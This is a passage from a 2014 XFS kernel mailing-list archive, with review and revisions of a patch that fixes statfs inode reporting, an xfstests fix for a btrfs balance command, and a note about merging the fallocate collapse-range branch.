sbp->sb_inopblog; > > Can we rename "fakeinos" to something like "free_inodes" so that > the code reads a little bit better while we are touching this > code? yeah, I thought about that too. >> - statp->f_files = >> - MIN(sbp->sb_icount + fakeinos, (__uint64_t)XFS_MAXINUMBER); >> if (mp->m_maxicount) >> - statp->f_files = min_t(typeof(statp->f_files), >> - statp->f_files, >> - mp->m_maxicount); >> + fakeinos = mp->m_maxicount > sbp->sb_icount ? >> + MIN(mp->m_maxicount - sbp->sb_icount, fakeinos) : 0; > > Get rid of MIN - it should be min() or min_t(). they are the same types, but yeah, that's better. > Also the mix of if() and ternary operations makes this difficult to > follow the logic. Better, IMO, is this: > > free_inodes = statp->f_bfree << sbp->sb_inopblog; > if (mp->m_maxicount > sbp->sb_icount) > free_inodes = min(mp->m_maxicount - sbp->sb_icount, > free_inodes); > else if (mp->m_maxicount) > free_inodes = 0; ok good point. > >> + >> + /* Total possible files is current inodes + potential new inodes */ >> + statp->f_files = MIN(sbp->sb_icount + fakeinos, >> + (__uint64_t) XFS_MAXINUMBER); > > statp->f_files = min_t(u64, sbp->sb_icount + free_inodes, > XFS_MAXINUMBER); > > And for bonus points: while we are looking at maxicount, the setting > on maxicount in the growfs code should call xfs_set_maxicount() > rather than open coding it, and xfs_set_maxicount() needs to be > reworked to prevent overflow when sbp->sb_dblocks * sbp->sb_imax_pct > is greater than 64 bits.... Ok. Well, that's a different patch I think. I'll also have to invent another tag for you, Dave. Nitpicked-by: perhaps. ;) (I kid! I kid!) -Eric > Cheers, > > Dave. > From sandeen@sandeen.net Mon Feb 24 18:16:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_FREE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id ACE817F50 for ; Mon, 24 Feb 2014 18:16:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 918B3304039 for ; Mon, 24 Feb 2014 16:15:57 -0800 (PST) X-ASG-Debug-ID: 1393287356-04cb6c567701a40001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id CCCqsCsXYsuKL5tK for ; Mon, 24 Feb 2014 16:15:56 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-2.local (unknown [67.51.122.226]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 42C0063C59A4; Mon, 24 Feb 2014 18:15:56 -0600 (CST) Message-ID: <530BE0BA.6070202@sandeen.net> Date: Mon, 24 Feb 2014 18:15:54 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH V3] xfs: be honest about used inodes in statfs References: <53067DC0.9040800@redhat.com> X-ASG-Orig-Subj: [PATCH V3] xfs: be honest about used inodes in statfs In-Reply-To: <53067DC0.9040800@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393287356 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145476 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Because we have lazy counters, it's possible that we over-allocate inodes past the maxicount (imaxpct) limit. A previous commit, 2fe3366 xfs: ensure f_ffree returned by statfs() is non-negative stopped statfs from underflowing f_ffree in this case, but that only happened when we mis-reported f_files, capped at maxicount. Change statfs to report the actual number of inodes allocated, even if it is greater than maxicount. It's reality. Deal with it. Also rework code & rename vars for clarity after input from dchinner & bfoster. Signed-off-by: Eric Sandeen --- V2: code cleanup thanks to Brian V3: more cleanup thanks to Dave diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index f317488..2f80923 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -1081,9 +1081,8 @@ xfs_fs_statfs( struct xfs_mount *mp = XFS_M(dentry->d_sb); xfs_sb_t *sbp = &mp->m_sb; struct xfs_inode *ip = XFS_I(dentry->d_inode); - __uint64_t fakeinos, id; + __uint64_t potential, id; xfs_extlen_t lsize; - __int64_t ffree; statp->f_type = XFS_SB_MAGIC; statp->f_namelen = MAXNAMELEN - 1; @@ -1100,17 +1099,17 @@ xfs_fs_statfs( statp->f_blocks = sbp->sb_dblocks - lsize; statp->f_bfree = statp->f_bavail = sbp->sb_fdblocks - XFS_ALLOC_SET_ASIDE(mp); - fakeinos = statp->f_bfree << sbp->sb_inopblog; - statp->f_files = - MIN(sbp->sb_icount + fakeinos, (__uint64_t)XFS_MAXINUMBER); - if (mp->m_maxicount) - statp->f_files = min_t(typeof(statp->f_files), - statp->f_files, - mp->m_maxicount); - - /* make sure statp->f_ffree does not underflow */ - ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); - statp->f_ffree = max_t(__int64_t, ffree, 0); + + /* Potential new inodes in free blocks, limited by maxicount */ + potential = statp->f_bfree << sbp->sb_inopblog; + if (mp->m_maxicount > sbp->sb_icount) + potential = min(mp->m_maxicount - sbp->sb_icount, potential); + else + potential = 0; + + /* Total possible files is current inodes + potential new inodes */ + statp->f_files = min_t(u64, sbp->sb_icount + potential, XFS_MAXINUMBER); + statp->f_ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); spin_unlock(&mp->m_sb_lock); From sandeen@sandeen.net Mon Feb 24 18:27:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_FREE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EAD507F50 for ; Mon, 24 Feb 2014 18:27:39 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 636D1AC003 for ; Mon, 24 Feb 2014 16:27:38 -0800 (PST) X-ASG-Debug-ID: 1393288057-04cbb066e602950001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id IOc2QlpLw33XqhpX for ; Mon, 24 Feb 2014 16:27:37 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-2.local (unknown [67.51.122.226]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id BD11063C59A4; Mon, 24 Feb 2014 18:27:36 -0600 (CST) Message-ID: <530BE377.3050808@sandeen.net> Date: Mon, 24 Feb 2014 18:27:35 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH V4] xfs: be honest about used inodes in statfs References: <53067DC0.9040800@redhat.com> X-ASG-Orig-Subj: [PATCH V4] xfs: be honest about used inodes in statfs In-Reply-To: <53067DC0.9040800@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393288057 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145478 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Because we have lazy counters, it's possible that we over-allocate inodes past the maxicount (imaxpct) limit. A previous commit, 2fe3366 xfs: ensure f_ffree returned by statfs() is non-negative stopped statfs from underflowing f_ffree in this case, but that only happened when we mis-reported f_files, capped at maxicount. Change statfs to report the actual number of inodes allocated, even if it is greater than maxicount. It's reality. Deal with it. Also rework code & rename vars for clarity after input from dchinner & bfoster. Signed-off-by: Eric Sandeen --- V2: code cleanup thanks to Brian V3: more cleanup thanks to Dave V4: Oh for crying out loud... (add maxicount test in else) diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index f317488..02537f4 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -1081,9 +1081,8 @@ xfs_fs_statfs( struct xfs_mount *mp = XFS_M(dentry->d_sb); xfs_sb_t *sbp = &mp->m_sb; struct xfs_inode *ip = XFS_I(dentry->d_inode); - __uint64_t fakeinos, id; + __uint64_t potential, id; xfs_extlen_t lsize; - __int64_t ffree; statp->f_type = XFS_SB_MAGIC; statp->f_namelen = MAXNAMELEN - 1; @@ -1100,17 +1099,17 @@ xfs_fs_statfs( statp->f_blocks = sbp->sb_dblocks - lsize; statp->f_bfree = statp->f_bavail = sbp->sb_fdblocks - XFS_ALLOC_SET_ASIDE(mp); - fakeinos = statp->f_bfree << sbp->sb_inopblog; - statp->f_files = - MIN(sbp->sb_icount + fakeinos, (__uint64_t)XFS_MAXINUMBER); - if (mp->m_maxicount) - statp->f_files = min_t(typeof(statp->f_files), - statp->f_files, - mp->m_maxicount); - - /* make sure statp->f_ffree does not underflow */ - ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); - statp->f_ffree = max_t(__int64_t, ffree, 0); + + /* Potential new inodes in free blocks, limited by maxicount */ + potential = statp->f_bfree << sbp->sb_inopblog; + if (mp->m_maxicount > sbp->sb_icount) + potential = min(mp->m_maxicount - sbp->sb_icount, potential); + else if (mp->m_maxicount) + potential = 0; + + /* Total possible files is current inodes + potential new inodes */ + statp->f_files = min_t(u64, sbp->sb_icount + potential, XFS_MAXINUMBER); + statp->f_ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); spin_unlock(&mp->m_sb_lock); From david@fromorbit.com Mon Feb 24 18:52:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EDE1B7F50 for ; Mon, 24 Feb 2014 18:52:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E221B8F8065 for ; Mon, 24 Feb 2014 16:52:37 -0800 (PST) X-ASG-Debug-ID: 1393289555-04cb6c5677035d0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id nglQLs1hVqZhZ9kI for ; Mon, 24 Feb 2014 16:52:36 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkBKAAzoC1N5LJYePGdsb2JhbABZgwaIT7QghVWBGxcDAQEBATg1giUBAQU6HCMQCAMYCSUPBSUDBxoTiATGOxcWjXdXB4Q4BJgzlWkogS0 Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 25 Feb 2014 11:22:35 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WI6G8-0007kx-4E; Tue, 25 Feb 2014 11:52:32 +1100 Date: Tue, 25 Feb 2014 11:52:32 +1100 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH V4] xfs: be honest about used inodes in statfs Message-ID: <20140225005232.GV13647@dastard> X-ASG-Orig-Subj: Re: [PATCH V4] xfs: be honest about used inodes in statfs References: <53067DC0.9040800@redhat.com> <530BE377.3050808@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530BE377.3050808@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1393289555 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145478 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 24, 2014 at 06:27:35PM -0600, Eric Sandeen wrote: > Because we have lazy counters, it's possible that we over-allocate > inodes past the maxicount (imaxpct) limit. > > A previous commit, > > 2fe3366 xfs: ensure f_ffree returned by statfs() is non-negative > > stopped statfs from underflowing f_ffree in this case, but that > only happened when we mis-reported f_files, capped at maxicount. > > Change statfs to report the actual number of inodes allocated, > even if it is greater than maxicount. It's reality. > Deal with it. > > Also rework code & rename vars for clarity after input from > dchinner & bfoster. > > Signed-off-by: Eric Sandeen > --- > > V2: code cleanup thanks to Brian > V3: more cleanup thanks to Dave > V4: Oh for crying out loud... (add maxicount test in else) Looks good now! Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From zhenzhang.zhang@huawei.com Mon Feb 24 20:08:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 508997F50 for ; Mon, 24 Feb 2014 20:08:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2D2868F8033 for ; Mon, 24 Feb 2014 18:08:31 -0800 (PST) X-ASG-Debug-ID: 1393294106-04cb6c5676068c0001-NocioJ Received: from szxga01-in.huawei.com (szxga01-in.huawei.com [119.145.14.64]) by cuda.sgi.com with ESMTP id KcLErodk7eZh0F94 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 24 Feb 2014 18:08:28 -0800 (PST) X-Barracuda-Envelope-From: zhenzhang.zhang@huawei.com X-Barracuda-Apparent-Source-IP: 119.145.14.64 Received: from 172.24.2.119 (EHLO szxeml212-edg.china.huawei.com) ([172.24.2.119]) by szxrg01-dlp.huawei.com (MOS 4.3.7-GA FastPath queued) with ESMTP id BRV57248; Tue, 25 Feb 2014 10:08:25 +0800 (CST) Received: from SZXEML404-HUB.china.huawei.com (10.82.67.59) by szxeml212-edg.china.huawei.com (172.24.2.181) with Microsoft SMTP Server (TLS) id 14.3.158.1; Tue, 25 Feb 2014 10:08:24 +0800 Received: from [127.0.0.1] (10.111.69.77) by szxeml404-hub.china.huawei.com (10.82.67.59) with Microsoft SMTP Server id 14.3.158.1; Tue, 25 Feb 2014 10:08:14 +0800 Message-ID: <530BFB0C.7080602@huawei.com> Date: Tue, 25 Feb 2014 10:08:12 +0800 From: ZhangZhen User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20121010 Thunderbird/16.0.1 MIME-Version: 1.0 To: Wang Shilong CC: , Subject: Re: [PATCH for xfstests] xfstests: fix to make tests/btrfs/013 really work References: <530AF3E3.9060202@huawei.com> <530B2418.20905@huawei.com> <530B26C9.9060606@cn.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH for xfstests] xfstests: fix to make tests/btrfs/013 really work In-Reply-To: <530B26C9.9060606@cn.fujitsu.com> Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 7bit X-Originating-IP: [10.111.69.77] X-CFilter-Loop: Reflected X-Barracuda-Connect: szxga01-in.huawei.com[119.145.14.64] X-Barracuda-Start-Time: 1393294107 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145480 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Wang, Thank you for reviewing my patch. I ran the test using btrfs progs v0.19(OpenSuse 12.3) previously and got a fail situation. I verified v3.12 this morning and it work well as you mentioned. Althouth the new version doesn't have this problem, I think it would be better to fix this. I'll fix the titile and resend it. On 2014/2/24 19:02, Wang Shilong wrote: > Hi Zhang, > > On 02/24/2014 06:51 PM, ZhangZhen wrote: >> The test 013 couldn't work because here lacked "start". >> This patch fix it. >> >> Signed-off-by: Zhang Zhen >> --- >> tests/btrfs/013 | 2 +- >> 1 file changed, 1 insertion(+), 1 deletion(-) >> >> diff --git a/tests/btrfs/013 b/tests/btrfs/013 >> index 7620fcc..fb81663 100644 >> --- a/tests/btrfs/013 >> +++ b/tests/btrfs/013 >> @@ -72,7 +72,7 @@ _check_csum_error() >> } >> $XFS_IO_PROG -f -c "falloc 0 1M" -c "pwrite 16k 8k" -c "fsync" \ >> $SCRATCH_MNT/foo > $seqres.full 2>&1 >> -$BTRFS_UTIL_PROG filesystem balance $SCRATCH_MNT >> $seqres.full 2>&1 || \ >> +$BTRFS_UTIL_PROG filesystem balance start $SCRATCH_MNT >> $seqres.full 2>&1 || \ >> _fail "balance failed" > Due to historical reasons, we have 'btrfs file balance <>'.. Until now, it is also > ok to run 'btrfs file balance ', and it has equal effect as 'btrfs filesystem balance start'. > > Anyway, using latest 'btrfs file balance start ' is better than previous codes..but patch's > title is not right any more... > > BTW,Dave Chinner previously pointed out that we need a cleanup, url can be seen: > > http://oss.sgi.com/archives/xfs/2014-02/msg00482.html > > Thanks, > Wang >> _scratch_unmount >> _scratch_mount > > > From zhenzhang.zhang@huawei.com Mon Feb 24 20:57:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 742127F50 for ; Mon, 24 Feb 2014 20:57:45 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4392F304053 for ; Mon, 24 Feb 2014 18:57:45 -0800 (PST) X-ASG-Debug-ID: 1393297062-04bdf05da909290001-NocioJ Received: from szxga01-in.huawei.com (szxga01-in.huawei.com [119.145.14.64]) by cuda.sgi.com with ESMTP id uR9EDo4zDpqkvtY4 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 24 Feb 2014 18:57:43 -0800 (PST) X-Barracuda-Envelope-From: zhenzhang.zhang@huawei.com X-Barracuda-Apparent-Source-IP: 119.145.14.64 Received: from 172.24.2.119 (EHLO szxeml206-edg.china.huawei.com) ([172.24.2.119]) by szxrg01-dlp.huawei.com (MOS 4.3.7-GA FastPath queued) with ESMTP id BRV63426; Tue, 25 Feb 2014 10:57:39 +0800 (CST) Received: from SZXEML408-HUB.china.huawei.com (10.82.67.95) by szxeml206-edg.china.huawei.com (172.24.2.59) with Microsoft SMTP Server (TLS) id 14.3.158.1; Tue, 25 Feb 2014 10:57:38 +0800 Received: from [127.0.0.1] (10.111.69.77) by szxeml408-hub.china.huawei.com (10.82.67.95) with Microsoft SMTP Server id 14.3.158.1; Tue, 25 Feb 2014 10:57:33 +0800 Message-ID: <530C069A.8060800@huawei.com> Date: Tue, 25 Feb 2014 10:57:30 +0800 From: ZhangZhen User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20121010 Thunderbird/16.0.1 MIME-Version: 1.0 To: , CC: Wang Shilong , Subject: [PATCH v2] xfstests: fix to make tests/btrfs/013 work using all version btrfs progs Content-Type: text/plain; charset="ISO-8859-1" X-ASG-Orig-Subj: [PATCH v2] xfstests: fix to make tests/btrfs/013 work using all version btrfs progs Content-Transfer-Encoding: 7bit X-Originating-IP: [10.111.69.77] X-CFilter-Loop: Reflected X-Barracuda-Connect: szxga01-in.huawei.com[119.145.14.64] X-Barracuda-Start-Time: 1393297062 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145481 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The test 013 couldn't work using some old version btrfs progs e.g.(btrfs progs v0.19 openSUSE 12.3)because here lacked "start". This patch fix it. Signed-off-by: Zhang Zhen --- tests/btrfs/013 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/btrfs/013 b/tests/btrfs/013 index 7620fcc..fb81663 100644 --- a/tests/btrfs/013 +++ b/tests/btrfs/013 @@ -72,7 +72,7 @@ _check_csum_error() } $XFS_IO_PROG -f -c "falloc 0 1M" -c "pwrite 16k 8k" -c "fsync" \ $SCRATCH_MNT/foo > $seqres.full 2>&1 -$BTRFS_UTIL_PROG filesystem balance $SCRATCH_MNT >> $seqres.full 2>&1 || \ +$BTRFS_UTIL_PROG filesystem balance start $SCRATCH_MNT >> $seqres.full 2>&1 || \ _fail "balance failed" _scratch_unmount _scratch_mount From sfr@canb.auug.org.au Mon Feb 24 21:16:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 45DA57F50 for ; Mon, 24 Feb 2014 21:16:15 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 371FB304053 for ; Mon, 24 Feb 2014 19:16:11 -0800 (PST) X-ASG-Debug-ID: 1393298168-04cbb066e70a580001-NocioJ Received: from ozlabs.org (ozlabs.org [203.10.76.45]) by cuda.sgi.com with ESMTP id T9L7slPyh6CUfwLE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 24 Feb 2014 19:16:10 -0800 (PST) X-Barracuda-Envelope-From: sfr@canb.auug.org.au X-Barracuda-Apparent-Source-IP: 203.10.76.45 Received: from canb.auug.org.au (ibmaus65.lnk.telstra.net [165.228.126.9]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ozlabs.org (Postfix) with ESMTPSA id C9A542C00D5; Tue, 25 Feb 2014 14:16:06 +1100 (EST) Date: Tue, 25 Feb 2014 14:16:01 +1100 From: Stephen Rothwell To: Dave Chinner Cc: Namjae Jeon , viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <20140225141601.358f6e3df2660d4af44da876@canb.auug.org.au> X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate In-Reply-To: <20140224005710.GH4317@dastard> References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> <20140224005710.GH4317@dastard> X-Mailer: Sylpheed 3.4.0beta7 (GTK+ 2.24.22; i486-pc-linux-gnu) Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="PGP-SHA256"; boundary="Signature=_Tue__25_Feb_2014_14_16_01_+1100_2WgBxiSFHZfpoj/H" X-Barracuda-Connect: ozlabs.org[203.10.76.45] X-Barracuda-Start-Time: 1393298169 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145481 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --Signature=_Tue__25_Feb_2014_14_16_01_+1100_2WgBxiSFHZfpoj/H Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi Dave, On Mon, 24 Feb 2014 11:57:10 +1100 Dave Chinner wrote: > > > Namjae Jeon (10): > > fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate > > xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate >=20 > I've pushed these to the following branch: >=20 > git://oss.sgi.com/xfs/xfs.git xfs-collapse-range >=20 > And so they'll be in tomorrow's linux-next tree. >=20 > > ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate >=20 > I've left this one alone for the ext4 guys to sort out. So presumably that xfs tree branch is now completely stable and so Ted could just merge that branch into the ext4 tree as well and put the ext4 part on top of that in his tree. --=20 Cheers, Stephen Rothwell sfr@canb.auug.org.au --Signature=_Tue__25_Feb_2014_14_16_01_+1100_2WgBxiSFHZfpoj/H Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (GNU/Linux) iQIcBAEBCAAGBQJTDAr1AAoJEMDTa8Ir7ZwVwWwP+gPZe8NtKPGNcImOr5glL63z MIQUFgD8gf+GbRAMHjpS8YqejSSu4+9p0j3pemP3EbbQqkh2QimPCdkJXcVvj5E8 XeRlSxEEkQcozkgs137OcFGZikt0iduOh5AOJj4lf4pwfK8mcsfN1upCBO0626vu JHHobnwqw7rVCI4YBiJ3wf2ApG5jeiUJFpRnQW65J85gHWlg3dUYkaFVBYN3QMEJ MP2XD7xRhnq0Q9whKsKPv3awX4YtdUEkQg0gr3akiWV9ANL3XKpv46AvDnWaNIyI J4zXZ/tGDo9bGYR4lbKyTbAVB9lxQBaGY+U527EpjeJAdweHImftoX/bE21bfs5R 97k3QSF4jUdaIeK6ho4O4/t3Xdf0FYsSo8ZXxhKN+HRssKelEbH2VieJKmVRMYwW a3EztVYukCZ+AWrjopWtO/Ng4sYrzU/gDU2WyDonO85Tda31i6DVui4ppeix6SI/ wFu4NLkR33tkjKc6oY9+4uaxUzddq7xVeLdJQ0nmNvZOYRgDDZ861u5KREeVMGB5 9gU/4M0EB+kf89AHRmiToPaYWw6BPpowkz/39uvtBJCOusO9xzaF3lOZDYZ42FyU noyUSzrpemZJpmTzgUowa2+WIWA5HecDqzCGBD5xHRrYWpeVNH6t5AuA+g607yWB Pfl6QASOJRvSWjYO6aQh =2fKf -----END PGP SIGNATURE----- --Signature=_Tue__25_Feb_2014_14_16_01_+1100_2WgBxiSFHZfpoj/H-- From david@fromorbit.com Mon Feb 24 22:14:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 903847F50 for ; Mon, 24 Feb 2014 22:14:07 -0600 